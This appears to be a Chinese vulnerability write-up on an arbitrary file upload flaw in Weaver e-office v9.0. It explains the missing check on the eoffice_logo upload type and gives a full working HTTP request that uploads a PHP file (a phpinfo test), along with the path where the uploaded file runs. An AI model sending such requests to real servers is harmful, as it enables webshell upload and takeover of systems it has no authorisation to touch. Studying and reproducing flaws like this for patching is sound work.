原文链接:漏洞预警:某 E-Office v9 被捕获的任意文件上传漏洞分析
一:漏洞描述
看朋友圈的时候发现都转发了一条漏洞预警 https://mp.weixin.qq.com/s/P75K_0869h-nWHRMu06zgQ
二: 漏洞影响
泛微 e-office v9.0
三: 漏洞复现
根据漏洞预警的图片修复描述来看一下源代码
存在漏洞的源代码位置,主要是源于 uploadType 参数设为 eoffice_logo 时,对文件没有校验,导致任意文件上传
调用方法 uploadPicture
构造请求上传文件即可
- POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
- Host: 127.0.0.1:7899
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
- Accept-Encoding: gzip, deflate
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- Connection: close
- Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
- Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
- Content-Length: 193
- Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
- --e64bdf16c554bbc109cecef6451c26a4
- Content-Disposition: form-data; name="Filedata"; filename="test.php"
- Content-Type: image/jpeg
- <?php phpinfo();?>
- --e64bdf16c554bbc109cecef6451c26a4--
复制代码
上传成功后访问 /images/logo/logo-eoffice.php
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